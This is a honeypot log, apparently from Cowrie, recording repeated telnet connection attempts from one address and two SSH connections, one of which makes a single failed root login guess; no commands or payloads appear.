{"eventid":"cowrie.session.closed","duration":30.780433893203735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:54.741102Z","src_ip":"23.111.140.22","session":"9e0bc9a58b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58800,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d203959db5","protocol":"telnet","message":"New connection: 23.111.140.22:58800 (10.17.0.5:23) [session: 43d203959db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:54.786419Z"}
{"eventid":"cowrie.session.closed","duration":33.24321174621582,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:54.817729Z","src_ip":"23.111.140.22","session":"fe40c254411a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52748,"dst_ip":"10.17.0.5","dst_port":23,"session":"407dfbb4ca30","protocol":"telnet","message":"New connection: 23.111.140.22:52748 (10.17.0.5:23) [session: 407dfbb4ca30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:54.845094Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35280,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bec54381be","protocol":"telnet","message":"New connection: 23.111.140.22:35280 (10.17.0.5:23) [session: 98bec54381be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.085565Z"}
{"eventid":"cowrie.session.closed","duration":30.951807975769043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.198761Z","src_ip":"23.111.140.22","session":"93ebf47d8b03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41399788856506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.369545Z","src_ip":"23.111.140.22","session":"8902ee193ff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.360786199569702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.577380Z","src_ip":"23.111.140.22","session":"8973cf54b9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37038,"dst_ip":"10.17.0.5","dst_port":23,"session":"93dd74d5f973","protocol":"telnet","message":"New connection: 23.111.140.22:37038 (10.17.0.5:23) [session: 93dd74d5f973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.649749Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55406,"dst_ip":"10.17.0.5","dst_port":23,"session":"394833e5bc97","protocol":"telnet","message":"New connection: 23.111.140.22:55406 (10.17.0.5:23) [session: 394833e5bc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.698260Z"}
{"eventid":"cowrie.session.closed","duration":31.81749677658081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.782475Z","src_ip":"23.111.140.22","session":"ad1b1d3f4b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd50101c89a0","protocol":"telnet","message":"New connection: 23.111.140.22:37840 (10.17.0.5:23) [session: bd50101c89a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.869606Z"}
{"eventid":"cowrie.session.closed","duration":31.32111430168152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.921678Z","src_ip":"23.111.140.22","session":"99f496dead53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038663148880005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:55.968867Z","src_ip":"23.111.140.22","session":"ebcafe30e363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"260a2238a6ca","protocol":"telnet","message":"New connection: 23.111.140.22:36222 (10.17.0.5:23) [session: 260a2238a6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:56.394808Z"}
{"eventid":"cowrie.session.closed","duration":33.58147311210632,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:56.422615Z","src_ip":"23.111.140.22","session":"0889c956e998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"01cd537dbad1","protocol":"telnet","message":"New connection: 23.111.140.22:39828 (10.17.0.5:23) [session: 01cd537dbad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:56.473147Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40518,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9736c4cf147","protocol":"telnet","message":"New connection: 23.111.140.22:40518 (10.17.0.5:23) [session: c9736c4cf147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:56.688641Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40895,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f3c6faf515","protocol":"telnet","message":"New connection: 23.111.140.22:40895 (10.17.0.5:23) [session: d3f3c6faf515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:56.790409Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42048,"dst_ip":"10.17.0.5","dst_port":23,"session":"5340009590b7","protocol":"telnet","message":"New connection: 23.111.140.22:42048 (10.17.0.5:23) [session: 5340009590b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:57.096013Z"}
{"eventid":"cowrie.session.closed","duration":34.489755153656006,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:57.117731Z","src_ip":"23.111.140.22","session":"afb73c893bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42130,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e95fe966144","protocol":"telnet","message":"New connection: 23.111.140.22:42130 (10.17.0.5:23) [session: 1e95fe966144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:57.129337Z"}
{"eventid":"cowrie.session.closed","duration":31.196965217590332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:57.477977Z","src_ip":"23.111.140.22","session":"e718fcac44db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581270456314087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:57.536477Z","src_ip":"23.111.140.22","session":"7793177e711d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.87670564651489,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:57.878798Z","src_ip":"23.111.140.22","session":"73d4d53f9c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62366533279419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:58.031119Z","src_ip":"23.111.140.22","session":"bb8c6949735c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844746828079224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:58.190110Z","src_ip":"23.111.140.22","session":"2eeea7584456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979875326156616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:58.402987Z","src_ip":"23.111.140.22","session":"33c5fec490f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39506,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ff8cf14e1b","protocol":"telnet","message":"New connection: 23.111.140.22:39506 (10.17.0.5:23) [session: d3ff8cf14e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:59.383447Z"}
{"eventid":"cowrie.session.closed","duration":34.36401915550232,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:59.628779Z","src_ip":"23.111.140.22","session":"8ec5185ec0f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52040,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc700f3649de","protocol":"telnet","message":"New connection: 23.111.140.22:52040 (10.17.0.5:23) [session: bc700f3649de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:00.004274Z"}
{"eventid":"cowrie.session.closed","duration":30.752684354782104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:00.233878Z","src_ip":"23.111.140.22","session":"6116792eb0cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27731490135193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:00.397477Z","src_ip":"23.111.140.22","session":"7e8437e9db8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30547523498535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:00.729517Z","src_ip":"23.111.140.22","session":"bdafe0debe97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55544,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e89a57bfcb","protocol":"telnet","message":"New connection: 23.111.140.22:55544 (10.17.0.5:23) [session: 86e89a57bfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:01.040058Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56752,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b1d52671c7a","protocol":"telnet","message":"New connection: 23.111.140.22:56752 (10.17.0.5:23) [session: 3b1d52671c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:01.443450Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56814,"dst_ip":"10.17.0.5","dst_port":23,"session":"98de99b66304","protocol":"telnet","message":"New connection: 23.111.140.22:56814 (10.17.0.5:23) [session: 98de99b66304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:01.467744Z"}
{"eventid":"cowrie.session.closed","duration":31.313481330871582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:01.552711Z","src_ip":"23.111.140.22","session":"c974f02a8d11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60676,"dst_ip":"10.17.0.5","dst_port":23,"session":"3395a91f5848","protocol":"telnet","message":"New connection: 23.111.140.22:60676 (10.17.0.5:23) [session: 3395a91f5848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:02.692943Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32910,"dst_ip":"10.17.0.5","dst_port":23,"session":"87140b0ea226","protocol":"telnet","message":"New connection: 23.111.140.22:32910 (10.17.0.5:23) [session: 87140b0ea226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:02.815837Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58306,"dst_ip":"10.17.0.5","dst_port":23,"session":"f660299d1a8e","protocol":"telnet","message":"New connection: 23.111.140.22:58306 (10.17.0.5:23) [session: f660299d1a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:02.897452Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51612,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c47d3520f4","protocol":"telnet","message":"New connection: 23.111.140.22:51612 (10.17.0.5:23) [session: 88c47d3520f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:02.927123Z"}
{"eventid":"cowrie.session.closed","duration":30.252933263778687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:03.034168Z","src_ip":"23.111.140.22","session":"41393f3a8dee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096332550048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:03.129187Z","src_ip":"23.111.140.22","session":"925b252b2b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.370447874069214,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:03.416231Z","src_ip":"23.111.140.22","session":"07c4e0cc721d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36958,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e95373d9eba","protocol":"telnet","message":"New connection: 23.111.140.22:36958 (10.17.0.5:23) [session: 6e95373d9eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:04.115257Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50967,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b744fb74441","protocol":"telnet","message":"New connection: 23.111.140.22:50967 (10.17.0.5:23) [session: 3b744fb74441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:04.228709Z"}
{"eventid":"cowrie.session.closed","duration":0.0056192874908447266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:04.234197Z","src_ip":"23.111.140.22","session":"3b744fb74441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21455645561218,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:04.472496Z","src_ip":"23.111.140.22","session":"1120d0e02535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.85033917427063,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:04.850274Z","src_ip":"23.111.140.22","session":"f40a73ae6163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.675556898117065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:04.926684Z","src_ip":"23.111.140.22","session":"eb3384c6dc75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40196,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ab4e24fc13","protocol":"telnet","message":"New connection: 23.111.140.22:40196 (10.17.0.5:23) [session: a4ab4e24fc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:05.189419Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40392,"dst_ip":"10.17.0.5","dst_port":23,"session":"860d84be1089","protocol":"telnet","message":"New connection: 23.111.140.22:40392 (10.17.0.5:23) [session: 860d84be1089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:05.280580Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40820,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca0e9c9f933","protocol":"telnet","message":"New connection: 23.111.140.22:40820 (10.17.0.5:23) [session: dca0e9c9f933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:05.419949Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43246,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11860048e42","protocol":"telnet","message":"New connection: 23.111.140.22:43246 (10.17.0.5:23) [session: f11860048e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:06.081907Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":35488,"dst_ip":"10.17.0.5","dst_port":22,"session":"634a4b09feea","protocol":"ssh","message":"New connection: 59.17.95.129:35488 (10.17.0.5:22) [session: 634a4b09feea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:06.199568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:06.206309Z","src_ip":"59.17.95.129","session":"634a4b09feea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:06.424783Z","src_ip":"59.17.95.129","session":"634a4b09feea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"meiyoumima","message":"login attempt [root/meiyoumima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:07.272331Z","src_ip":"59.17.95.129","session":"634a4b09feea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.94631600379944,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:07.612640Z","src_ip":"23.111.140.22","session":"dcc7ed1d5f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47790,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b0c1144be28","protocol":"telnet","message":"New connection: 23.111.140.22:47790 (10.17.0.5:23) [session: 9b0c1144be28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:07.628358Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48746,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca3621e2076","protocol":"telnet","message":"New connection: 23.111.140.22:48746 (10.17.0.5:23) [session: 9ca3621e2076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:07.910465Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":50744,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c82f793b75","protocol":"ssh","message":"New connection: 202.145.0.61:50744 (10.17.0.5:22) [session: b7c82f793b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:07.933613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:07.939934Z","src_ip":"202.145.0.61","session":"b7c82f793b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.174168Z","src_ip":"202.145.0.61","session":"b7c82f793b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46520,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed43cbb0cbd8","protocol":"telnet","message":"New connection: 23.111.140.22:46520 (10.17.0.5:23) [session: ed43cbb0cbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.225297Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46636,"dst_ip":"10.17.0.5","dst_port":23,"session":"36235c23ab4c","protocol":"telnet","message":"New connection: 23.111.140.22:46636 (10.17.0.5:23) [session: 36235c23ab4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.262180Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49916,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c75889bcccd","protocol":"telnet","message":"New connection: 23.111.140.22:49916 (10.17.0.5:23) [session: 0c75889bcccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.294490Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.477216Z","src_ip":"59.17.95.129","session":"634a4b09feea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47302,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba99df06468c","protocol":"telnet","message":"New connection: 23.111.140.22:47302 (10.17.0.5:23) [session: ba99df06468c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.482329Z"}
{"eventid":"cowrie.session.closed","duration":28.944462060928345,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.599368Z","src_ip":"23.111.140.22","session":"ef17527d4c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.722174406051636,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:08.628864Z","src_ip":"23.111.140.22","session":"7270cc090e2f","protocol":"telnet"}
